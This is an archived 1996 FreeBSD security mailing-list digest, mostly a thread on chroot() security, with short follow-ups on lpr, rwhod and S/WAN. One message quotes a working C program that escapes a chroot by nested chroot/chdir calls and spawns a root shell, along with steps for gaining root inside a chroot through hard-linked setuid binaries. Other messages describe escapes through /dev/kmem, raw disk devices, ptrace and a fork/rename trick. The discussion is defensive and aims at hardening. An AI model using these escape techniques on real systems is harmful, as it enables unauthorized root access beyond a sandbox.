freefall.freebsd.org (8.7.5/8.7.3) id PAA20530 for security-outgoing; Fri, 1 Nov 1996 15:02:06 -0800 (PST) Received: from www.trifecta.com (www.trifecta.com [206.245.150.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id PAA20454; Fri, 1 Nov 1996 15:01:55 -0800 (PST) Received: (from dev@localhost) by www.trifecta.com (8.7.5/8.6.12) id RAA07531; Fri, 1 Nov 1996 17:54:31 -0500 (EST) Date: Fri, 1 Nov 1996 17:54:31 -0500 (EST) From: Dev Chanchani To: freebsd-security@freebsd.org cc: freebsd-questions@freebsd.org Subject: chroot() security Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk We are developing a site which will allow people to access thier pages via telnet. we are going to place them in a chroot() environment giving them access to only critical programs (a la ls, editor, etc.) Does anyone know of any security implecations per say of putting someone in a chroot()'ed environment, and what files must be in their directory for things to function properly? Thanks in advance. From owner-freebsd-security Fri Nov 1 15:36:30 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA03344 for security-outgoing; Fri, 1 Nov 1996 15:36:30 -0800 (PST) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id PAA03282; Fri, 1 Nov 1996 15:36:20 -0800 (PST) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.7.5/8.7.3) with UUCP id QAA08287; Fri, 1 Nov 1996 16:36:16 -0700 (MST) Received: from localhost (marcs@localhost) by alive.ampr.ab.ca (8.7.5/8.7.3) with SMTP id QAA23033; Fri, 1 Nov 1996 16:35:58 -0700 (MST) Date: Fri, 1 Nov 1996 16:35:58 -0700 (MST) From: Marc Slemko X-Sender: marcs@alive.ampr.ab.ca To: Dev Chanchani cc: freebsd-security@FreeBSD.org, freebsd-questions@FreeBSD.org Subject: Re: chroot() security In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk (If you followup to this, please remove -questions since I think this is specific enough to go to -security and -questions is more of a fallback for questions that don't apply elsewhere.) On Fri, 1 Nov 1996, Dev Chanchani wrote: > We are developing a site which will allow people to access thier pages > via telnet. we are going to place them in a chroot() environment giving > them access to only critical programs (a la ls, editor, etc.) Does anyone > know of any security implecations per say of putting someone in a > chroot()'ed environment, and what files must be in their directory for > things to function properly? Never loose sight of the fact that if someone gets root in the chrooted environment, they have root on the whole machine. The chrooted environment does not lessen the implications of getting root, it only makes it harder to do so. If you have more than one user that needs this access and you want a seperate tree for each, remember that as long as you keep them on the same partition you can hard link the common files so you only need one copy of them on disk. Be careful with permissions in the chrooted environment to be sure the user can't write to what they aren't supposed to. One method if implementing the chrooted environment, if you have a seperate IP address for each client, is to use tcpd. for example, in your hosts.allow: telnetd@192.168.0.1 : \ .example.com : \ rfc931 : severity auth.info : \ twist = /usr/sbin/chroot /directory/to/chroot/to /usr/libexec/telnetd This says to use this entry only for telnetd on an interface with an IP address of 192.168.0.1. In some cases this works well, in others you need to actually do more work. Whatever you do, don't make a world executable setuid chroot binary available since that has the potential to allow a security compromise. As to what files you need, you quickly figure that out by what doesn't work. Some of the things include the passwd file (/etc/[s]pwd.db is the most important on FreeBSD), groups file (if you want numeric groups to be converted to names), shared libraries (if you don't make all binaries static), some of /dev but not too much. Exactly how much you need depends on your particular circumstances. Overall, this can be an effective method of implementing a virtual environment and increasing security. We are using it for both ftp and shell access and it works quite well. From owner-freebsd-security Fri Nov 1 17:12:10 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA20358 for security-outgoing; Fri, 1 Nov 1996 17:12:10 -0800 (PST) Received: from www.trifecta.com (www.trifecta.com [206.245.150.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA20344 for ; Fri, 1 Nov 1996 17:12:05 -0800 (PST) Received: (from dev@localhost) by www.trifecta.com (8.7.5/8.6.12) id UAA08143; Fri, 1 Nov 1996 20:04:43 -0500 (EST) Date: Fri, 1 Nov 1996 20:04:43 -0500 (EST) From: Dev Chanchani To: Marc Slemko cc: freebsd-security@FreeBSD.org Subject: Re: chroot() security In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 1 Nov 1996, Marc Slemko wrote: > Never loose sight of the fact that if someone gets root in the chrooted > environment, they have root on the whole machine. The chrooted > environment does not lessen the implications of getting root, it only > makes it harder to do so. Marc, Thanks for the reply. Basically, how can someone get out of a chroot()'ed environment is they get root? Can they access the filesystem outsite their chroot()'ed directory? I know they can place their own binaries and begin to sniff, etc, but can they easily get out of their environment? Also, can a user access the inode table or does the kernel only access the inode table? Thanks.. From owner-freebsd-security Fri Nov 1 17:30:42 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA23905 for security-outgoing; Fri, 1 Nov 1996 17:30:42 -0800 (PST) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA23892 for ; Fri, 1 Nov 1996 17:30:38 -0800 (PST) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.7.5/8.7.3) with UUCP id SAA13568; Fri, 1 Nov 1996 18:30:36 -0700 (MST) Received: from localhost (marcs@localhost) by alive.ampr.ab.ca (8.7.5/8.7.3) with SMTP id SAA23733; Fri, 1 Nov 1996 18:29:43 -0700 (MST) Date: Fri, 1 Nov 1996 18:29:42 -0700 (MST) From: Marc Slemko X-Sender: marcs@alive.ampr.ab.ca To: Dev Chanchani cc: freebsd-security@FreeBSD.org Subject: Re: chroot() security In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 1 Nov 1996, Dev Chanchani wrote: > On Fri, 1 Nov 1996, Marc Slemko wrote: > > > Never loose sight of the fact that if someone gets root in the chrooted > > environment, they have root on the whole machine. The chrooted > > environment does not lessen the implications of getting root, it only > > makes it harder to do so. > > Marc, > Thanks for the reply. > Basically, how can someone get out of a chroot()'ed environment is they > get root? Many, many ways. > Can they access the filesystem outsite their chroot()'ed > directory? I know they can place their own binaries and begin to sniff, > etc, but can they easily get out of their environment? Also, can a user > access the inode table or does the kernel only access the inode table? They can do whatever they want; it may take some effort, but not that much. Simply getting root does not automatically give access to files outside the chrooted environment, but it is easy enough to get once you have root. For example, from inside the chrooted environment create /dev/sd0a or whatever the root partition is and then you have full access to the raw device. It isn't as easy as just mounting it, since it is already mounted once, but it is quite easy to do a few minor edits to get root outside the chrooted environment. Things like /dev/mem and /dev/kmem give you access to all the memory on the system. The user can attach a debugger to a process running outside the chrooted environment, then modify it to give them access. The list goes on and on. On most Unixes, if the user has root they have complete control over the kernel, and FreeBSD is no exception. From owner-freebsd-security Fri Nov 1 20:01:19 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA17302 for security-outgoing; Fri, 1 Nov 1996 20:01:19 -0800 (PST) Received: from salsa.gv.ssi1.com (salsa.gv.ssi1.com [146.252.44.194]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA17294 for ; Fri, 1 Nov 1996 20:01:16 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.ssi1.com (8.7.5/8.7.3) id UAA07806; Fri, 1 Nov 1996 20:01:03 -0800 (PST) From: Don Lewis Message-Id: <199611020401.UAA07806@salsa.gv.ssi1.com> Date: Fri, 1 Nov 1996 20:01:03 -0800 In-Reply-To: Marc Slemko "Re: chroot() security" (Nov 1, 6:29pm) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Marc Slemko , Dev Chanchani Subject: Re: chroot() security Cc: freebsd-security@freebsd.org Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Nov 1, 6:29pm, Marc Slemko wrote: } Subject: Re: chroot() security } On Fri, 1 Nov 1996, Dev Chanchani wrote: } > Basically, how can someone get out of a chroot()'ed environment is they } > get root? } } Many, many ways. } They can do whatever they want; it may take some effort, but not that } much. Simply getting root does not automatically give access to files } outside the chrooted environment, but it is easy enough to get once you } have root. For example, from inside the chrooted environment create } /dev/sd0a or whatever the root partition is and then you have full access } to the raw device. It isn't as easy as just mounting it, since it is } already mounted once, but it is quite easy to do a few minor edits to get } root outside the chrooted environment. Things like /dev/mem and /dev/kmem } give you access to all the memory on the system. The user can attach a } debugger to a process running outside the chrooted environment, then } modify it to give them access. The list goes on and on. You can add various checks to the kernel to keep chroot()ed processes from doing a lot of these things, but there is one deadly exploit that someone posted to this list back in September. By the clever use of chroot() and chdir(), it is possible for a root process to waltz out of a chroot()ed environment. I don't know of a clean way of plugging that hole. BTW, thanks for mentioning ptrace(). I hadn't thought of that one. --- Truck From owner-freebsd-security Fri Nov 1 21:21:11 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA27582 for security-outgoing; Fri, 1 Nov 1996 21:21:11 -0800 (PST) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA27563 for ; Fri, 1 Nov 1996 21:21:05 -0800 (PST) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id PAA06652; Sat, 2 Nov 1996 15:50:45 +1030 From: Michael Smith Message-Id: <199611020520.PAA06652@genesis.atrad.adelaide.edu.au> Subject: Re: chroot() security To: dev@trifecta.com (Dev Chanchani) Date: Sat, 2 Nov 1996 15:50:45 +1030 (CST) Cc: marcs@znep.com, freebsd-security@FreeBSD.org In-Reply-To: from "Dev Chanchani" at Nov 1, 96 08:04:43 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Dev Chanchani stands accused of saying: > > Basically, how can someone get out of a chroot()'ed environment is they > get root? Can they access the filesystem outsite their chroot()'ed > directory? I know they can place their own binaries and begin to sniff, > etc, but can they easily get out of their environment? Also, can a user > access the inode table or does the kernel only access the inode table? Depending on how the filesystem they're in is mounted, one quick way out is to make some device nodes that reference the system's disks (rememeber, a little bit out redirection sleight-of-hand and they can upload any binary they like). Alternatively, they can make themselves a nuisance by shooting down other processes, rebooting the machine, you name it. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-security Fri Nov 1 22:39:41 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA10012 for security-outgoing; Fri, 1 Nov 1996 22:39:41 -0800 (PST) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id WAA09979 for ; Fri, 1 Nov 1996 22:39:29 -0800 (PST) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.7.5/8.7.3) with UUCP id XAA26319; Fri, 1 Nov 1996 23:38:46 -0700 (MST) Received: from localhost (marcs@localhost) by alive.ampr.ab.ca (8.7.5/8.7.3) with SMTP id XAA25463; Fri, 1 Nov 1996 23:38:24 -0700 (MST) Date: Fri, 1 Nov 1996 23:38:23 -0700 (MST) From: Marc Slemko X-Sender: marcs@alive.ampr.ab.ca To: Don Lewis cc: Dev Chanchani , freebsd-security@freebsd.org Subject: Re: chroot() security In-Reply-To: <199611020401.UAA07806@salsa.gv.ssi1.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 1 Nov 1996, Don Lewis wrote: > You can add various checks to the kernel to keep chroot()ed processes > from doing a lot of these things, but there is one deadly exploit that > someone posted to this list back in September. By the clever use of > chroot() and chdir(), it is possible for a root process to waltz out > of a chroot()ed environment. I don't know of a clean way of plugging > that hole. > > BTW, thanks for mentioning ptrace(). I hadn't thought of that one. Yup, you certainly can add checks and in theory you should be able to plug all the holes IF you can find them. My bet is that you won't be able to find them, so you can't make it secure. I assume the below message is the one you are referring to, so I'll include a copy so people know what the issue is. Heck, I may as well run through what the code does. I forgot about the obvious because well, there are just so many ways to get out. This one is quite clean though. When you do a chroot(2), the current working directory is not changed, the only thing that is changed is what the kernel thinks the root directory is for that process. The chroot program that comes with FreeBSD does something like: if (chdir(path) || chroot(".")) print_error_and_die where path is the directory you want to chroot to. If either of the calls fail, it exits. This ensures that the current directory is inside the new root directory so no access outside can be made. Now, there is only one root directory per process (well, that isn't quite true but the details get complicated). Keeping this in mind, examine the code below. It does a chroot to a new directory inside the chrooted environment; since there is only one root directory per process, this is NOT a chrooted environment inside a chrooted environment, but is simply a chrooted environment. If you can break the new chrooted environment, you have access to the whole filesystem, not just to the old chrooted envionment. Now, how can we go about breaking out of this new chrooted environment? Go back to how the chroot program does it; first it changes the directory, then it does the chroot to be sure the current directory is inside the chrooted tree. This program doesn't do that. After it does the chroot, the current directory is still outside the new chrooted directory; it is inside what was the old one, but that doesn't matter any more. From there, it is a simple matter to back up until we get to the root, then make the real root our new root with another chroot call. A trivial solution would be to modify the kernel chroot routine to change the current directory to something inside the chrooted directory, however that solution is too trivial in that it would break some existing programs and I'm not sure it would help anything because I would suggest that many of the data structures involved could perhaps be manipulated using some other method. Date: Mon, 9 Sep 1996 16:09:46 -0500 (CDT) From: Zach Heilig To: rkw@dataplex.net (Richard Wackerbarth) Cc: freebsd-security@freebsd.org Sender: owner-security@freebsd.org Subject: Re: Question about chroot In a previous message, Richard Wackerbarth wrote: >In looking at some of the "make" problems, I ran up against a >characteristic of "chroot" that puzzles me. >In order to chroot, you must be root. Why? Basically, all you have to do to become root in a chroot() environment is to hard-link the appropriate setuid executables into a publicly writable directory (usually /usr/tmp), and build your own minimal filesystem to use while in that environment. You need the /etc/master.passwd file (you create it yourself), /etc/group (to put yourself in the wheel group), /usr/sbin/vipw (to rebuild the other passwd files), /usr/bin/su (to gain root), /bin/sh, and any other file utilities that you find you need in the course of the attack (probably hard links to each of the lib*.so.* libraries, and ld/ldd). You should probably put the binaries in /bin (relative to the chroot() root directory). Breaking out of the chroot() environment after you become root is trivial. I have source here that works for FreeBSD: #include #include int main(void) { int i; mkdir("break-out", 0755); chroot("./break-out"); chdir("."); for (i = 0; i < 30; ++i) chdir(".."); chroot("."); execl("/bin/sh", "sh" , (char *) 0); puts("exec failed!"); return 1; } You compile this before calling chroot for /usr/tmp/wherever. At this point, the attacker would clean up his mess in /usr/tmp, and possibly put a setuid shell in an accessible spot. >It appears to me than the only thing that chroot does is to restrict the >"visable" tree. It does not ADD anything that is not already there. But the user can BEFORE running chroot. >If that is the case, why wouldn't it be good enough for chroot to be suid >root and allow any user to execute it? >Am I overlooking some security hole? Yes. This is one reason it is bad to have a world-writable directory on the same filesystem as the /usr filesystem. -- Zach Heilig (zach@blizzard.gaffaneys.com) | ALL unsolicited commercial email Support bacteria -- it's the | is unwelcome. I avoid dealing only culture some people have! | with companies that email ads. From owner-freebsd-security Fri Nov 1 23:04:20 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA12958 for security-outgoing; Fri, 1 Nov 1996 23:04:20 -0800 (PST) Received: from salsa.gv.ssi1.com (salsa.gv.ssi1.com [146.252.44.194]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA12948 for ; Fri, 1 Nov 1996 23:04:15 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.ssi1.com (8.7.5/8.7.3) id XAA08490; Fri, 1 Nov 1996 23:04:03 -0800 (PST) From: Don Lewis Message-Id: <199611020704.XAA08490@salsa.gv.ssi1.com> Date: Fri, 1 Nov 1996 23:04:02 -0800 In-Reply-To: Marc Slemko "Re: chroot() security" (Nov 1, 11:38pm) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Marc Slemko , Don Lewis Subject: Re: chroot() security Cc: Dev Chanchani , freebsd-security@freebsd.org Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Nov 1, 11:38pm, Marc Slemko wrote: } Subject: Re: chroot() security } } A trivial solution would be to modify the kernel chroot routine to change } the current directory to something inside the chrooted directory, however } that solution is too trivial in that it would break some existing programs } and I'm not sure it would help anything because I would suggest that many } of the data structures involved could perhaps be manipulated using some } other method. This doesn't really help. A trivial way to break out would be for the process to fork(), the parent process could then chroot() to a subdirectory of the it's root directory, then chdir() to a subdirectory of it's new root directory. The child process could wait for the parent to arrive at it's new current directory, then rename() that directory to another location outside the the tree under parent's root directory. The parent can then walk up the tree to the real root, and then execute chroot() when it gets there. --- Truck From owner-freebsd-security Sat Nov 2 01:38:29 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA25912 for security-outgoing; Sat, 2 Nov 1996 01:38:29 -0800 (PST) Received: from critter.tfs.com ([140.145.230.177]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA25896; Sat, 2 Nov 1996 01:38:22 -0800 (PST) Received: from critter.tfs.com (localhost.tfs.com [127.0.0.1]) by critter.tfs.com (8.7.5/8.7.3) with ESMTP id KAA04443; Sat, 2 Nov 1996 10:38:16 +0100 (MET) To: Marc Slemko cc: Don Lewis , Dev Chanchani , freebsd-security@freebsd.org Subject: Re: chroot() security In-reply-to: Your message of "Fri, 01 Nov 1996 23:38:23 MST." Date: Sat, 02 Nov 1996 10:38:15 +0100 Message-ID: <4441.846927495@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message , Marc Sl emko writes: >On Fri, 1 Nov 1996, Don Lewis wrote: > >> You can add various checks to the kernel to keep chroot()ed processes >> from doing a lot of these things, but there is one deadly exploit that >> someone posted to this list back in September. By the clever use of >> chroot() and chdir(), it is possible for a root process to waltz out >> of a chroot()ed environment. I don't know of a clean way of plugging >> that hole. >> >> BTW, thanks for mentioning ptrace(). I hadn't thought of that one. > >Yup, you certainly can add checks and in theory you should be able to plug >all the holes IF you can find them. My bet is that you won't be able to >find them, so you can't make it secure. One simple way is to disallow processes that have any *uid == 0 in the chroot tree. I did this once by comparing the rootfs pointer to that of pid == 1 and if it was different and one of the uid's were zero I killed the process. The few operations that needed to do root things, sent a message over a tcp pipe to a local process that would examine what process was at the other end of the pipe and do the stuff to it if it made sense. That daemon ran outside the chroot env. Sorry, can't give you the code, somebody paid me to do it. -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-security Sat Nov 2 10:13:33 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA06847 for security-outgoing; Sat, 2 Nov 1996 10:13:33 -0800 (PST) Received: from offensive.communica.com.au (offensive-eth1.adl.communica.com.au [192.82.222.18]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id KAA06822 for ; Sat, 2 Nov 1996 10:13:16 -0800 (PST) Received: from communica.com.au (frenzy.communica.com.au [192.82.222.65]) by offensive.communica.com.au (8.7.6/8.7.3) with SMTP id EAA19632; Sun, 3 Nov 1996 04:43:07 +1030 (CST) Received: by communica.com.au (4.1/SMI-4.1) id AA19481; Sun, 3 Nov 96 04:36:41 CDT From: newton@communica.com.au (Mark Newton) Message-Id: <9611021806.AA19481@communica.com.au> Subject: Re: chroot() security To: Don.Lewis@tsc.tdk.com (Don Lewis) Date: Sun, 3 Nov 1996 04:36:41 +1030 (CST) Cc: marcs@znep.com, dev@trifecta.com, freebsd-security@FreeBSD.org In-Reply-To: <199611020401.UAA07806@salsa.gv.ssi1.com> from "Don Lewis" at Nov 1, 96 08:01:03 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Don Lewis wrote: > BTW, thanks for mentioning ptrace(). I hadn't thought of that one. There's a far more obvious one: The same data structures and library routines which provide "ps" with its ability to find the process table in kvm space can permit an attacker with root privileges in a chroot()'ed environment to find the process table for the purpose of changing his root directory right back to what it used to be by reading and writing /dev/kmem. Those who are using FreeBSD in a security-conscious environment can benefit from source code by tweaking it to enforce their sites' security policies (Werner has already expounded on one example of this). Perhaps one obvious example of where a source code tweak would assist chroot()'ed secure spaces is a test which could be added to the setuid() system call and the filesystem setuid-bit semantics to make uid changes succeed only if the following conditions are met: * process executing setuid() is owned by root we should allow root processes to call setuid() because a) they can't cause any more damage, and b) "login" and "ftpd" require setuid() calls to assume the privileges of whoever is using them; AND * process executing setuid() is not chroot()'ed this can be evaluated by comparing the process' root directory against that of a known system process, such as init (that way you get the benefit of catching all the chroot()ed child processes as well, without needing to maintain an "I've been chroot()ed" flag in the proc structure) Essentially, that'd mean that chrooted processes could never gain the privileges of another user, including the root user, regardless of how many setuid programs have been carelessly left behind: Once chroot() executes, setuid() and the setuid-bit on files both stop working. Yes, this will break certain executables. No, you probably shouldn't have those executables in your "secure" area - The whole point of a secure space is to compartmentalize privileges, so why would you be using it to provide services which blur privilege boundries?! Note that I'm not suggesting this as something that should be added to FreeBSD per se; Rather, I'm suggesting that users of FreeBSD in security- critical environments can benefit from having kernel sources by taking the opportunity to "harden" their kernel. Those who make the attempt will find that once their security policy has been codified in written form, translating that written form to source code is surprisingly easy (interdependencies and subtle interrelationships notwithstanding - Be careful!). The suggestion given above, for example, can be implemented with just a few lines of C. - mark --- Mark Newton Email: newton@communica.com.au Systems Engineer Phone: +61-8-8373-2523 Communica Systems WWW: http://www.communica.com.au From owner-freebsd-security Sat Nov 2 10:35:06 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA10682 for security-outgoing; Sat, 2 Nov 1996 10:35:06 -0800 (PST) Received: from cwsys.cwent.com (cschuber.net.gov.bc.ca [142.31.240.113]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id KAA10660 for ; Sat, 2 Nov 1996 10:35:00 -0800 (PST) Received: from cwsys (1000@localhost [127.0.0.1]) by cwsys.cwent.com (8.8.2/8.6.10) with ESMTP id KAA00905; Sat, 2 Nov 1996 10:33:13 -0800 (PST) Message-Id: <199611021833.KAA00905@cwsys.cwent.com> Reply-to: cschuber@uumail.gov.bc.ca X-Mailer: Xmh To: Warner Losh cc: Marc Slemko , security@freebsd.org Subject: Re: Vadim Kolontsov: BoS: Linux & BSD's lpr exploit In-reply-to: Your message of "Fri, 25 Oct 1996 18:16:59 MDT." Date: Sat, 02 Nov 1996 10:33:07 -0800 From: Cy Schubert Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > In message > Marc Slemko writes: > : I would also suggest that perhaps it is even worth scrapping lpr entirely. > : There are numerous other security changes in the OpenBSD source tree, and > : even then I would bet there are still other problems with the code. > > Yes. There are a boatload. And a bunch more just went in today. > Many of them are very defensive programming, and seem to be somewhat > sane. I'm not sure how many of them should have some kind of warning > generated when they are triggered. It all depends on how paranoid you > are :-). I don't have a good answer for that. At the very least > OpenBSD will be much less likely to be breached, which is likely the > most important thing. Sorry for the lateness of this reply. I've been spending the morning catching up on the various mailing lists I subscribe to. How about an LPRng port? Then it would be up to each individual sysadmin whether to use a possibly more secure non-BSD print subsystem or the existing insecure print subsystem. The port could disable the BSD LPR/LPD by filing off the s and x bits. If the the sysadmin opts to pkg_delete the LPRng package, the BSD print subsystem would be re-enabled. Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: CSCHUBER@BCSC02.BITNET ITSD Internet: cschuber@uumail.gov.bc.ca cschuber@bcsc02.gov.bc.ca "Quit spooling around, JES do it." From owner-freebsd-security Sat Nov 2 12:05:08 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA18947 for security-outgoing; Sat, 2 Nov 1996 12:05:08 -0800 (PST) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id MAA18936 for ; Sat, 2 Nov 1996 12:05:00 -0800 (PST) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 0.56 #1) id E0vJmI6-0000AR-00; Sat, 2 Nov 1996 13:03:39 -0700 To: cschuber@uumail.gov.bc.ca Subject: Re: Vadim Kolontsov: BoS: Linux & BSD's lpr exploit Cc: Marc Slemko , security@freebsd.org In-reply-to: Your message of "Sat, 02 Nov 1996 10:33:07 PST." <199611021833.KAA00905@cwsys.cwent.com> References: <199611021833.KAA00905@cwsys.cwent.com> Date: Sat, 02 Nov 1996 13:03:38 -0700 From: Warner Losh Message-Id: Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199611021833.KAA00905@cwsys.cwent.com> Cy Schubert writes: : How about an LPRng port? Then it would be up to each individual : sysadmin whether to use a possibly more secure non-BSD print : subsystem or the existing insecure print subsystem. The port could : disable the BSD LPR/LPD by filing off the s and x bits. If the the : sysadmin opts to pkg_delete the LPRng package, the BSD print : subsystem would be re-enabled. If you'd like to port it, go for it. However, unless there is a good and compelling reason to disable lpr/lpd, it won't happen. They are too entrenched in the BSD culture to go away by fiat. LPRng is incompatible with LPR/LPD at the protocol level, from all I've read. It would be good to have it as a port, but too many places are using lpr/lpd in mission critical applications to just junk them. It would be a better effort, imho, to fix the security problems in lpr/lpd than to go to a new, untried system the security aspects of which are at best poorly understood (relative to lpr/lpd). I know that the OpenBSD folks have been doing security audits of the code looking for things that could run afoul in the current lpr/lpd code. Unless they give up as being an intractible problem, I'd be very leery of punting on lpr/lpd altogether. Finally, if you know of any specific weakness in lpr/lpd that hasn't been addressed, please do let me know. Saying it is insecure vaguely is not as useful as being specific :-). Warner From owner-freebsd-security Sat Nov 2 16:07:57 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA05366 for security-outgoing; Sat, 2 Nov 1996 16:07:57 -0800 (PST) Received: from jli.com (jli.com [199.2.111.1]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id QAA05347 for ; Sat, 2 Nov 1996 16:07:37 -0800 (PST) Received: from cumulus by jli.com with uucp (Smail3.1.29.1 #3) id m0vJq5g-0001bOC; Sat, 2 Nov 96 16:07 PST Message-Id: To: freebsd-security@FreeBSD.org Subject: Re: rwhod buffer overflow bug References: <199611010907.KAA26376@spooky.lss.cp.philips.com> In-reply-to: Your message of Fri, 01 Nov 1996 10:07:16 +0100. <199611010907.KAA26376@spooky.lss.cp.philips.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <6127.846979585.1@cloud.rain.com> Date: Sat, 02 Nov 1996 16:06:25 -0800 From: Bill Trost Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk I may have asked this question before, but: Why not make rwhod setuid() itself down once it has its sockets and /dev/kmem open? /var/rwho would have to be writable by that user, but otherwise the running rwho would have few privileges with which to do any real damage to the system. From owner-freebsd-security Sat Nov 2 17:52:53 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA12572 for security-outgoing; Sat, 2 Nov 1996 17:52:53 -0800 (PST) Received: from parkplace.cet.co.jp (parkplace.cet.co.jp [202.32.64.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA12565 for ; Sat, 2 Nov 1996 17:52:50 -0800 (PST) Received: from localhost (michaelh@localhost) by parkplace.cet.co.jp (8.8.2/CET-v2.1) with SMTP id BAA17612 for ; Sun, 3 Nov 1996 01:52:47 GMT Date: Sun, 3 Nov 1996 10:52:47 +0900 (JST) From: Michael Hancock To: freebsd-security@freebsd.org Subject: S/WAN Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk http://www.cygnus.com/~gnu/swan.html John Gilmore is pushing this on Linux but it would be better on FreeBSD. ;-) From owner-freebsd-security Sat Nov 2 21:10:21 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA23534 for security-outgoing; Sat, 2 Nov 1996 21:10:21 -0800 (PST) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA23521 for ; Sat, 2 Nov 1996 21:10:16 -0800 (PST) Received: (from karpen@localhost) by ocean.campus.luth.se (8.7.5/8.7.3) id GAA14093; Sun, 3 Nov 1996 06:11:20 +0100 (MET) From: Mikael Karpberg Message-Id: <199611030511.GAA14093@ocean.campus.luth.se> Subject: Re: chroot() security To: newton@communica.com.au (Mark Newton) Date: Sun, 3 Nov 1996 06:11:20 +0100 (MET) Cc: freebsd-security@freebsd.org In-Reply-To: <9611021806.AA19481@communica.com.au> from Mark Newton at "Nov 3, 